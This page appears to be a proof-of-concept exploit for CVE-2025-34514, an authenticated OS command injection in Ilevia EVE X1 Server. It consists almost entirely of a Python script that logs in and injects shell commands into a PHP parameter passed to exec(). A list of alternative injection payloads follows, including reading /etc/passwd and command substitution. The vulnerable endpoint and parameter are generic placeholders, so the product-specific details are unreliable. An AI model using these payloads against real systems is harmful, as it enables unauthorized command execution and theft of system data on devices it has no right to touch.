CVE-2025-34514：Ilevia EVE X1 Server认证OS命令注入漏洞

# CVE-2025-34514 - Ilevia EVE X1 Server Authenticated OS Command Injection PoC # Author: VulnCheck Research / Zero Science Lab (ZSL-2025-5966) # Description: Exploits command injection in PHP scripts calling exec() import requests import sys TARGET = "http://target-ip:8080" USERNAME = "admin" PASSWORD = "password" # Step 1: Authenticate to obtain session session = requests.Session() login_url = f"{TARGET}/login.php" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authenticated successfully") # Step 2: Exploit command injection in vulnerable PHP endpoint # The vulnerable script calls exec() with unsanitized user input vulnerable_endpoint = f"{TARGET}/some_vulnerable_script.php" # Inject OS command using semicolon separator # Replace 'id' with any command to execute injected_command = "; id" params = { "param": injected_command } response = session.get(vulnerable_endpoint, params=params) print(f"[+] Command output:\n{response.text}") # Alternative payloads using different injection techniques: # Payload 1: Command chaining with semicolon # param=; cat /etc/passwd # # Payload 2: Command substitution with backticks # param=`whoami` # # Payload 3: Command substitution with $() # param=$(whoami) # # Payload 4: Pipe operator # param=| whoami # # Payload 5: Logical AND operator # param=&& whoami # # Payload 6: Logical OR operator # param=|| whoami